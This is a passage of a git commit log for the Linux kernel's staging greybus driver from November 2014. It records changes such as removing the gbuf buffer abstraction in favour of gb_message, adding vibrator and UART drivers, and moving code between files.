Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 42a946688d4b992d176a887638e7943d61a3e8f5 Author: Greg Kroah-Hartman Date: Wed Nov 19 10:36:23 2014 -0800 greybus: vibrator-gb.c: fix up incorrect comment s/i2c/vibrator/ Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator-gb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c3278f9f398c7160e9385c5795085cd0d19975d1 Merge: 4b99201 de80073 Author: Greg Kroah-Hartman Date: Tue Nov 18 12:54:35 2014 -0800 greybus: Merge branch 'master' into vibrator-gb commit de80073a1768b0fb01df0e597225047fd66e8044 Author: Alex Elder Date: Tue Nov 18 13:26:54 2014 -0600 greybus: pass gfp_flags for message allocation The only reason gb_operation_message_init() gets its "outbound" argument is so we can determine what allocation flags to use. Just pass the flags in directly instead. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 1f764af77c6adb3b4035b8f41b48198f251dc7f8 Author: Alex Elder Date: Tue Nov 18 13:26:53 2014 -0600 greybus: stop storing dest_cport_id in message We can derive the destination CPort id of any (outbound) message from the connection it's operation is associated with. So we don't need to store that information in every message. As a result, we no longer need to record it at message initialization time. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 10 ++-------- drivers/staging/greybus/operation.h | 1 - 2 files changed, 2 insertions(+), 9 deletions(-) commit 3ed67aba9f3b2af83b9b9cf7cd6f7ab25de5acc2 Author: Alex Elder Date: Tue Nov 18 13:26:52 2014 -0600 greybus: stop storing hd in message The host device pointer doesn't have to be stored in every message. It can be derived by following up the chain of pointers back to the operation's connection. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 16 +++++++++++----- drivers/staging/greybus/operation.h | 2 +- 2 files changed, 12 insertions(+), 6 deletions(-) commit e238e641ee79db947f1f1222204ae12258061d94 Author: Alex Elder Date: Tue Nov 18 13:26:51 2014 -0600 greybus: kill the last gbuf remnants All the code has now been adjusted such that we can do away with the old gbuf structure. Three unused references remained in "greybus.h", so those are deleted. Other than that most of the changes were done by simple global substitution. The gb_message structure incorporates the fields that were previously found its embedded gbuf structure. A few names have been changed in the process: gbuf->transfer_buffer message->buffer gbuf->transfer_buffer_size message->buffer_size gbuf->hcd_data; message->cookie Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 3 -- drivers/staging/greybus/operation.c | 58 ++++++++++++++++++------------------- drivers/staging/greybus/operation.h | 20 +++++-------- 3 files changed, 37 insertions(+), 44 deletions(-) commit 61089e89e50ba10592670518c0f5611c33d64f39 Author: Alex Elder Date: Tue Nov 18 13:26:50 2014 -0600 greybus: rework receve handling Rework gb_connection_operation_recv() to be more oriented toward an operation message, and to no longer use a struct gbuf local variable. Rename it to be a little more wieldy. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/operation.c | 12 ++++++------ drivers/staging/greybus/operation.h | 2 +- 3 files changed, 8 insertions(+), 8 deletions(-) commit 35b1342bb040a1e12d82b46ae296f660684a2d23 Author: Alex Elder Date: Tue Nov 18 13:26:49 2014 -0600 greybus: cancel messages, not gbufs Rework greybus_kill_gbuf() to be oriented toward an operation message rather than a gbuf, and rename it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 002fe66a7d8bdbea058025a5804f5e0a375226da Author: Alex Elder Date: Tue Nov 18 13:26:48 2014 -0600 greybus: send messages, not gbufs Rework greybus_submit_gbuf() to be oriented toward an operation message rather than a gbuf, and rename it accordingly. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) commit 6a70736aca05d4c8acd80f30bf485dd785ae1a2b Author: Alex Elder Date: Tue Nov 18 13:26:47 2014 -0600 greybus: rework message initialization Rework gb_opreation_message_init() so it doesn't use a struct gbuf local variable. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) commit 58a5bdc7358ae87d2f7b8c85319f624651b7555b Author: Alex Elder Date: Tue Nov 18 13:26:46 2014 -0600 greybus: send buffers without gbufs Change the method that sends messages so that it sends "raw" buffers rather than gbufs. To do this, we supply the host device and destination CPort when sending. As with other recent patches, change the name of the method to reflect that we're no longer dealing with gbufs. The interface has changed as well. Now this routine will return a "cookie" value. The cookie is used to represent the outgoing request, and is supplied by the caller if necessary to cancel a previously-sent buffer. We'll store the result in gbuf->hcd_data for now (which produces the same result as before...). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 +- drivers/staging/greybus/es1-ap-usb.c | 56 ++++++++++++++++++++++++------------ drivers/staging/greybus/greybus.h | 3 +- drivers/staging/greybus/operation.c | 12 ++++++-- 4 files changed, 50 insertions(+), 24 deletions(-) commit fa23ffeee6949ab5962fe2727ffb107574123aaf Author: Alex Elder Date: Tue Nov 18 13:26:45 2014 -0600 greybus: stash hd as context for all URBs This changes the context value stashed with each USB URB so that it is always the host device pointer. In cport_out_callback() this allows us to get away with *not* requiring the gbuf for handling completions any more. We are (currently) ignoring the gbuf status value returned anyway, so we'll skip setting it altogether. Greg's comments in cport_out_callback() point out that ignoring this was misguided, and handling send errors will be put in place in an upcoming patch. The context is set to the host device pointer for SVC receive and CPort receive URBs for consistency--because we can. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) commit a9163b2c30c9e110530ed5f56bc5296bb152aa98 Author: Alex Elder Date: Tue Nov 18 13:26:44 2014 -0600 greybus: cancel buffers via magic cookie Change the interface for canceling in-flight buffers to take a magic cookie value as argument rather than a gbuf. Right now we pass the gbuf->hcd_data pointer that's assumed to have been set by the submit routine. But the next patch will change the submit routine to return the cookie to be used, and the caller will be responsible for keeping track of it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 4 ++-- drivers/staging/greybus/es1-ap-usb.c | 16 +++++++++------- drivers/staging/greybus/greybus.h | 4 ++-- drivers/staging/greybus/operation.c | 3 ++- 4 files changed, 15 insertions(+), 12 deletions(-) commit 9ec5411adf7cd872424f579701a91fffd508270b Author: Alex Elder Date: Tue Nov 18 13:26:43 2014 -0600 greybus: free space without gbufs Switch the host driver free routine to take a pointer to the previously-allocated buffer that should be freed. Rename the method to reflect it's no longer tied to a gbuf. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 +-- drivers/staging/greybus/es1-ap-usb.c | 17 ++++++++--------- drivers/staging/greybus/greybus.h | 2 +- drivers/staging/greybus/operation.c | 4 +++- 4 files changed, 13 insertions(+), 13 deletions(-) commit d2a259f213c925f404eb7491fae8fa03a56b3467 Author: Alex Elder Date: Tue Nov 18 13:26:42 2014 -0600 greybus: allocate space without gbufs This begins the transition to buffer allocation that does not rely on the gbuf construct. The host driver allocation routine will return a pointer to the buffer to be used, and the caller will be responsible for keeping track of that pointer, as well as the requested buffer size. Rename the allocation method to reflect it's no longer tied to a gbuf. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/es1-ap-usb.c | 25 ++++++------------------- drivers/staging/greybus/greybus.h | 3 +-- drivers/staging/greybus/operation.c | 8 ++++---- 4 files changed, 12 insertions(+), 26 deletions(-) commit 0f4c808a7ea2ee3d81f5c3047bd14d7057cbfe37 Author: Alex Elder Date: Tue Nov 18 13:26:41 2014 -0600 greybus: fill in destination data at send time For ES1 we need to insert the destination CPort id before the data to be sent over UniPro. Currently this is done at the time the buffer is created, but there's no need to do so until we're actually going to send the content of the buffer. Move the setting of that destination information into submit_gbuf(). Note that this allows us to defer initializing a few other gbuf fields until after we know the buffer allocation has succeeded. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 23 ++++++++++------------- drivers/staging/greybus/operation.c | 6 +++--- 2 files changed, 13 insertions(+), 16 deletions(-) commit 06a4a061f1917ab6dfdddfbf4a13c0a87f207602 Author: Alex Elder Date: Tue Nov 18 13:26:40 2014 -0600 greybus: improve data buffer alignment For ES1 we need to insert the destination CPort id in whatever we supply for sending over UniPro. Currently we allocate one extra byte supply the caller with an address that's offset by one from the beginning of the allocated space. As a result we always return a poorly-aligned buffer pointer. Instead, allocate enough space so that we can return a better aligned buffer to the caller. Notes: - It may be that it's more important to supply an aligned address to the hardware. - We probably need to be more careful about writing into these buffers at unaligned offsets anyway. (E.g., writing a 2-byte value at an odd offset can't be assumed to work.) Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 15 ++++++++------- drivers/staging/greybus/greybus.h | 3 +++ 2 files changed, 11 insertions(+), 7 deletions(-) commit 5259ef138cbc78c537ca9f375eb0d18f21320c01 Author: Alex Elder Date: Tue Nov 18 13:26:39 2014 -0600 greybus: prepend cport byte for all gbufs Treat communication buffers for both inbound and outbound data the same way, prepending a "destination cport id" byte before the data in the buffer. Currently this is done only for outbound data buffers. This isn't needed for inbound data, but handling it this way allows the free routine to work without knowing whether the buffer was used for sending or receiving. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 43 ++++++++++++++++++++---------------- 1 file changed, 24 insertions(+), 19 deletions(-) commit 4f83b8d34964ef343afe5e8f731a0e37e311a42d Author: Alex Elder Date: Tue Nov 18 13:26:38 2014 -0600 greybus: fix an allocation flag bug We allocate message buffers with GFP_KERNEL allocation flags if possible. However when an incoming request message is received we can be in interrupt context, so we must use GFP_ATOMIC in that case. The computation of gfp_flags in gb_operation_message_init() is wrong. It is needlessly using GFP_ATOMIC when allocating outbound response buffers. Fix the flawed logic. Change the name of "data_out" to be "outbound" to be consistent with usage elsewhere. (Data/messages are "inbound" or "outbound"; requests are "incoming" or "outgoing".) Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 4b992018da759ff471872a3483b03cb0a649b698 Author: Greg Kroah-Hartman Date: Tue Nov 18 12:21:27 2014 -0800 greybus: vibrator-gb: fix up api changes responses changed in 'master' so fix up things so that the vibrator driver works properly. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator-gb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 025742ccfa5185df62a1930d684f828fb18eca89 Merge: 396671b 374e6a2 Author: Greg Kroah-Hartman Date: Tue Nov 18 12:18:35 2014 -0800 greybus: Merge branch 'master' into vibrator-gb commit 374e6a269cc3b1f044be78215c3e96021796de7d Author: Alex Elder Date: Mon Nov 17 18:08:37 2014 -0600 greybus: kill off the last of gbuf.c Only three functions remain in "gbuf.c". Move one of them into "connection.c" and the other two into "operation.c". Some more cleanup is coming that will further straighten out gbufs but for now there's no sense in drawing this out any longer. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 - drivers/staging/greybus/connection.c | 15 ++++++++++++ drivers/staging/greybus/connection.h | 2 ++ drivers/staging/greybus/gbuf.c | 47 ------------------------------------ drivers/staging/greybus/greybus.h | 6 ----- drivers/staging/greybus/operation.c | 14 +++++++++++ 6 files changed, 31 insertions(+), 54 deletions(-) commit 4e5007e5c27e012dd50db4c96cb9f57d235df1ee Author: Alex Elder Date: Mon Nov 17 18:08:36 2014 -0600 greybus: kill the gbuf slab cache Nobody dynamically allocates gbufs any more, so we can get rid of the allocation and free routines, as as the slab cache and its related code. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 9 -------- drivers/staging/greybus/gbuf.c | 45 --------------------------------------- drivers/staging/greybus/greybus.h | 6 ------ 3 files changed, 60 deletions(-) commit bc46fabccdf4565f1228d4d775680d9c85934024 Author: Alex Elder Date: Mon Nov 17 18:08:35 2014 -0600 greybus: embed gbufs into operation message structure Embed the gbuf structures for operation messages into the message structure rather than pointing to a dynamically allocated one. Use a null gbuf->transfer_buffer pointer rather than a null gbuf pointer to indicate an unused gbuf. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 38 +++++++++++++++---------------------- drivers/staging/greybus/operation.h | 2 +- 2 files changed, 16 insertions(+), 24 deletions(-) commit f7935e333ad2f94ccf8dcc8185a2ec836bb81adb Author: Alex Elder Date: Mon Nov 17 18:08:34 2014 -0600 greybus: use null gbuf->transfer_buffer Make sure gbuf->transfer_buffer gets reset to NULL when the buffer is freed. We can leverage that to do a little extra error checking. We'll also use a null transfer buffer in the next patch to indicate an unused gbuf. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 6 ++++++ 1 file changed, 6 insertions(+) commit bb88896eaf2577b8938f05a8f70c45cee0714a18 Author: Alex Elder Date: Mon Nov 17 18:08:33 2014 -0600 greybus: move gbuf initialization to caller Change greybus_alloc_gbuf() so all it does is allocate the gbuf data structure. Move all of the initialization of the gbuf structure in the caller. Do the inverse in the caller prior to freeing the gbuf structure via greybus_free_gbuf(). Use a null gbuf->transfer_buffer pointer rather than a null gbuf pointer to indicate an unused gbuf. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 22 +--------------------- drivers/staging/greybus/greybus.h | 3 ++- drivers/staging/greybus/operation.c | 20 ++++++++++++++++---- 3 files changed, 19 insertions(+), 26 deletions(-) commit c7f82d5dc07181b56b9596adab3a3891ace357fd Author: Alex Elder Date: Mon Nov 17 18:08:32 2014 -0600 greybus: start using struct gb_message This converts some of the operation code to start leveraging the new gb_message type. Instead of creating the request and response gbufs, we initialize (and tear down with a new function) the request and response message structures. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 70 ++++++++++++++++++++++--------------- 1 file changed, 41 insertions(+), 29 deletions(-) commit 3690a826fae5102ed5daed2340926885980d51ab Author: Alex Elder Date: Mon Nov 17 18:08:31 2014 -0600 greybus: define struct gb_message A Greybus buffer (gbuf) is a generic buffer used for data transfer over a Greybus interconnect. We only ever use gbufs in operations, which always involve exactly two of them. The lifetime of a gbuf is therefore directly connected to the lifetime of an operation, so there no real need to manage gbufs separate from operations. This patch begins the process of removing the gbuf abstraction, on favor of a new data type, gb_message. The purpose of a gb_message is--like a gbuf--to represent data to be transferred over Greybus. However a gb_message is oriented toward the more restrictive way we do Greybus transfers--as operation messages (either a request or a response). This patch simply defines the structure in its initial form, and defines the request and response fields in a Greybus operation structure as embedded instances of that type. The gbuf pointer is defined within the gb_message structure, and as a result lots of code needs to be tweaked to reference the request and response gbufs as subfields of the request and response structures. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio-gb.c | 36 +++++++++++++++---------------- drivers/staging/greybus/i2c-gb.c | 16 +++++++------- drivers/staging/greybus/operation.c | 42 +++++++++++++++++++------------------ drivers/staging/greybus/operation.h | 14 +++++++------ drivers/staging/greybus/pwm-gb.c | 28 ++++++++++++------------- drivers/staging/greybus/uart-gb.c | 16 +++++++------- 6 files changed, 78 insertions(+), 74 deletions(-) commit 3c3cef400ea7eadc87a66a974cd9e388ad99640a Author: Alex Elder Date: Mon Nov 17 18:08:30 2014 -0600 greybus: move the definition of struct gbuf We no longer need struct gbuf defined in "greybus.h". An upcoming patch will embed a gbuf struct (not a pointer) into the operation structure, and to do that we'll need the struct defined prior to the operation. Just move the gbuf definition into "operation.h". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 75 +------------------------------------ drivers/staging/greybus/operation.h | 14 ++++++- 2 files changed, 14 insertions(+), 75 deletions(-) commit 2f528c8bf7199c5eba93ea344a502910dc3a2806 Author: Alex Elder Date: Mon Nov 17 18:08:29 2014 -0600 greybus: kill gbuf->kref Since there is only ever one reference to a gbuf, we don't need a kref to figure out when it can be freed. Get rid of the kref and its supporting code. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 12 +----------- drivers/staging/greybus/greybus.h | 2 -- 2 files changed, 1 insertion(+), 13 deletions(-) commit 6e5dd0bbbb046df2b6a5ba72d74b611c1f15f467 Author: Alex Elder Date: Mon Nov 17 18:08:28 2014 -0600 greybus: kill greybus_{get,put}_gbuf() These functions are never used, so we can get rid of them. Since there's no reference-getting function any more, we no longer need "gbuf_mutex" to avoid racing gets and puts, so get rid of that too. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 14 +------------- drivers/staging/greybus/greybus.h | 2 -- 2 files changed, 1 insertion(+), 15 deletions(-) commit 396671b139ff5d1271d6a1d9d465f244dfa6188d Author: Greg Kroah-Hartman Date: Mon Nov 17 17:12:50 2014 -0800 greybus: vibrator-gb: proper allocate minor numbers Change the driver to allocate minors in a proper manner, using the idr interface. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator-gb.c | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) commit 4efe6065ce0e68fc6216114d061a14b9828c0e00 Author: Greg Kroah-Hartman Date: Mon Nov 17 16:55:54 2014 -0800 greybus: vibrator-gb: fixes based on Marti's review comments. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 14 +++++++------- drivers/staging/greybus/vibrator-gb.c | 16 +++++----------- 2 files changed, 12 insertions(+), 18 deletions(-) commit ac4029fb60abd00f63cfb4c626f1653a918dcc66 Author: Greg Kroah-Hartman Date: Mon Nov 17 16:03:34 2014 -0800 greybus: vibrator-gb: add vibrator driver This driver implements the Greybus vibrator protocol, as defined in the Greybus protocol specification. It interacts to userspace with a single sysfs file, "timeout", and a separate "class" called "vibrator". That interface can/should be changed in the future depending on what Android wants for its HAL, but for now should be good enough to test with. There are some changes needed to kernel_ver.h to support some sysfs/driver core changes that happened after the 3.10 kernel was released to try to make the code simpler. Even with those changes, there are #ifdefs in the code to do different things depending on the kernel version to implement the same userspace api. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 +- drivers/staging/greybus/kernel_ver.h | 12 ++ drivers/staging/greybus/protocol.c | 5 + drivers/staging/greybus/protocol.h | 3 + drivers/staging/greybus/vibrator-gb.c | 298 ++++++++++++++++++++++++++++++++++ 5 files changed, 320 insertions(+), 1 deletion(-) commit 68190676b78a4736081e13d67d3d5bc2a519df5c Author: Greg Kroah-Hartman Date: Mon Nov 17 15:19:14 2014 -0800 greybus: greybus_manifest.h: update with full list of protocols The protocol values had gotten out of sync with the Greybus Protocol specification document, so bring them back into sync by changing a few values, and adding the missing values. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit ed7538e5a36ee7b369cb0ab0616394cb2f892a9f Author: Greg Kroah-Hartman Date: Mon Nov 17 15:15:34 2014 -0800 greybus: uart: handle NULL size requests in request_operation() Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 1e776f31838f1037319fe54ea7e676a8871c6603 Author: Alex Elder Date: Mon Nov 17 08:08:45 2014 -0600 greybus: get rid of cport_id_map_lock The only time we get a cport id is when setting up a new connection. We already have a (coarser-grained) spin lock that's used to protect the connection lists, and we can use that same lock for protecting the hd's connection id map. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 ++++---- drivers/staging/greybus/core.c | 1 - drivers/staging/greybus/greybus.h | 1 - 3 files changed, 4 insertions(+), 6 deletions(-) commit 2c43ce49672eacd1df87df92c2ddfdb02e276be0 Author: Alex Elder Date: Mon Nov 17 08:08:44 2014 -0600 greybus: use a simple list of hd connections First of all, there's a bug in _gb_hd_connection_insert, which Viresh found. But pointing out that problem just called attention to the fact that I have planning to to remove the affected block of code. The set of connections associated with a host device is currently maintained in a red-black tree. The number of connections we're likely to have is on the order of a hundred, and at least for now isn't even going to approach that. When this code first went in, Greg asserted that using a list is speedier than a red-black tree for smallish numbers of elements (maybe up to a few hundred?). So this patch just removes the host device's red-black tree of connections, using a simple list instead. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 44 ++++-------------------------------- drivers/staging/greybus/connection.h | 2 +- drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/greybus.h | 2 +- 4 files changed, 7 insertions(+), 43 deletions(-) commit ba99346828089d3833a5c31106b60b3a8cddb91d Author: Alex Elder Date: Mon Nov 17 08:08:43 2014 -0600 greybus: record the host device in a gbuf The only thing we now use the gbuf->operation pointer for is to get access to its connection's host device. Record the host device pointer directly in the gbuf, rather than keeping a pointer to the operation. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 4 ++-- drivers/staging/greybus/gbuf.c | 16 +++++----------- drivers/staging/greybus/greybus.h | 4 ++-- drivers/staging/greybus/operation.c | 6 ++++-- 4 files changed, 13 insertions(+), 17 deletions(-) commit 6af29086bfbe201723a82b732ba5b12ecb2dfc53 Author: Alex Elder Date: Mon Nov 17 08:08:42 2014 -0600 greybus: use gbuf's destination cport id If the buffer allocated in the ES1 alloc_gbuf_data() routine is for outbound data, we are getting the destination CPort id from the connection. Switch to using the copy of the destination cport id we now have in the gbuf instead. Check for a valid CPort id there only if we're inserting it into the buffer. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 23 +++++++++-------------- 1 file changed, 9 insertions(+), 14 deletions(-) commit 63921d88724168da6d7868aa5eae8def6888a253 Author: Alex Elder Date: Mon Nov 17 08:08:41 2014 -0600 greybus: record a gbuf's destination CPort id Rather than indicating whether a gbuf is intended for outbound data, record its destination CPort id. That's what's really needed by the ES1 host driver. Use CPORT_ID_BAD when the buffer is intended for inbound data. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 7 ++++--- drivers/staging/greybus/gbuf.c | 4 ++-- drivers/staging/greybus/greybus.h | 6 +++--- drivers/staging/greybus/operation.c | 7 ++++++- 4 files changed, 15 insertions(+), 9 deletions(-) commit c7d0f258fb4d9ccb0e26bde0036abeda02575ad6 Author: Alex Elder Date: Mon Nov 17 08:08:40 2014 -0600 greybus: reference count operations Add a reference counter to the operations structure. We'll need this when operations are actually allowed to complete asynchronously. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 14 +++++++++++--- drivers/staging/greybus/operation.h | 8 +++++++- 2 files changed, 18 insertions(+), 4 deletions(-) commit 78496db0128bd50281e1318602f64ed9509d4b6a Author: Alex Elder Date: Mon Nov 17 08:08:39 2014 -0600 greybus: clean up gb_connection_operation_recv() This patch does some cleanup of gb_connection_operation_recv(). - Improve the header comments - Verify message is big enough for header before interpreting beginning of the message as a header - Verify at buffer creation time rather than receive time that no operation buffer is bigger than the maximum allowed. We can then compare the incoming data size against the buffer. - When a response message arrives, record its status in the operation result, not in the buffer status. - Record a buffer overflow as an operation error. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 25 +++++++++++++++++++------ drivers/staging/greybus/operation.h | 1 + 2 files changed, 20 insertions(+), 6 deletions(-) commit b37716f67298191aabd9f0ef5ccdf2edd3d1a50c Author: Alex Elder Date: Mon Nov 17 08:08:38 2014 -0600 greybus: kill gb_operation_gbuf_complete() It's possible this function was destined to do something important, but at this point it's pretty pointless. Get rid of it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 51 ------------------------------------- 1 file changed, 51 deletions(-) commit ea590d5cbded81a4a7863260c2918ecebf9d1182 Author: Alex Elder Date: Mon Nov 17 08:08:37 2014 -0600 greybus: delete some lines in "greybus.h" This gets rid of a block of unnecessary forward declarations in "greybus.h". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 5 ----- 1 file changed, 5 deletions(-) commit 19363a2ca1aa7dc48214e4556fa5bfecaf570f3f Author: Alex Elder Date: Mon Nov 17 08:08:36 2014 -0600 greybus: move operation timeout teardown Move the cancel_delayed_work() call so it's done separate from the removing the operation from the pending list. This should have been part of this commit: d3809f7 greybus: move timeout out of gb_operation_insert() Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit b4be40435284fab95de39a16690e3580ff32fb06 Author: Greg Kroah-Hartman Date: Sat Nov 15 18:30:00 2014 -0800 greybus: Greybus UART connection driver Flush out the Greybus UART driver to actually implement greybus requests. The number of Greybus Protocol operations has been reduced down to a managable number, and, if you look closely, you will notice it follows the CDC ACM USB specification, which can drive UART devices quite well, no need for complex UART state changes, leave all of that logic up to the firmware, if it wants/needs it. The Greybus Protocol spec has been updated to match the driver. TODO: There are 2 requests from the device to the host that need to be implemented. As this isn't fully hooked up in the Greybus core, that is not implemented here yet either. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 431 +++++++++++++++++++++++++++++++++++--- 1 file changed, 407 insertions(+), 24 deletions(-) commit 0ac5a838811c5921783cd8da410b23ee673b7e55 Author: Greg Kroah-Hartman Date: Sat Nov 15 12:12:16 2014 -0800 greybus: skeleton for future uevents. Implement a skeleton for the uevent framework, to be filled in later when we figure out what type of module "matching" we want to do for things (connections, interfaces, modules, etc.) Based on a patch from Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/core.c | 37 ++++++++++++++++++++++++++++++++---- drivers/staging/greybus/greybus.h | 19 ++++++++++++++++++ drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/module.c | 2 +- 5 files changed, 55 insertions(+), 7 deletions(-) commit 86bf33afa3c1d52f01f9e12c2e26b730acb6bbd6 Author: Greg Kroah-Hartman Date: Fri Nov 14 14:37:56 2014 -0800 greybus: Revert "manifest: remove extra loop for finding module descriptor" This reverts commit 4d1529e6687d53878b71cdcd646e28e10d62c2e8. Alex reports that this causes problems. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 29 ++++++++++++++--------------- 1 file changed, 14 insertions(+), 15 deletions(-) commit b7be8d2eb354ba896034276a4ef68013f2720ba5 Author: Greg Kroah-Hartman Date: Fri Nov 14 14:37:32 2014 -0800 greybus: Revert "manifest: improve print message" This reverts commit b8ba855506906de71df5b12b50cdbbf7259a930c. needed to revert an older change. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2206ea9cf8c56a0b98db3498ae5b6642a995a0a8 Author: Viresh Kumar Date: Fri Nov 14 17:25:08 2014 +0530 greybus: interface: move gb_module_interface_init() to interface.c That's where it belong to. Also rename it in a similar way to: gb_interface_create() and gb_interface_destroy(). Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 2 +- drivers/staging/greybus/interface.c | 30 ++++++++++++++++++++++++++++++ drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/module.c | 31 ------------------------------- drivers/staging/greybus/module.h | 3 --- 5 files changed, 32 insertions(+), 35 deletions(-) commit 676daaf45869e810dcbe97cf6996f7c8e2fb7d32 Author: Viresh Kumar Date: Fri Nov 14 17:25:07 2014 +0530 greybus: module: move module specific code to module.c Some of module specific routines were present in core.c instead of module.c. Move them to the right place. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 59 --------------------------------------- drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/module.c | 59 +++++++++++++++++++++++++++++++++++++++ 3 files changed, 60 insertions(+), 59 deletions(-) commit 9ca4d62f15bc8e1977ed2c6c2dfc84449b6ab35f Author: Viresh Kumar Date: Fri Nov 14 17:25:06 2014 +0530 greybus: module: move gb_module_find() to a more logical location Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 577f5f974c874228573451b9a521df7962f8b7de Author: Viresh Kumar Date: Fri Nov 14 17:25:05 2014 +0530 greybus: core: re-use gb_module_find() in gb_remove_module() Also fix print message. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) commit ab34291da5537f8b1e037873591d6a5d54e00749 Author: Viresh Kumar Date: Fri Nov 14 17:25:04 2014 +0530 greybus: connection: fix duplicating naming in _gb_hd_connection_insert() Though this doesn't cause any logical issues as far as the behavior of the routine is concerned as the local variable would be considered inside the 'while' loop. But its better not to use the 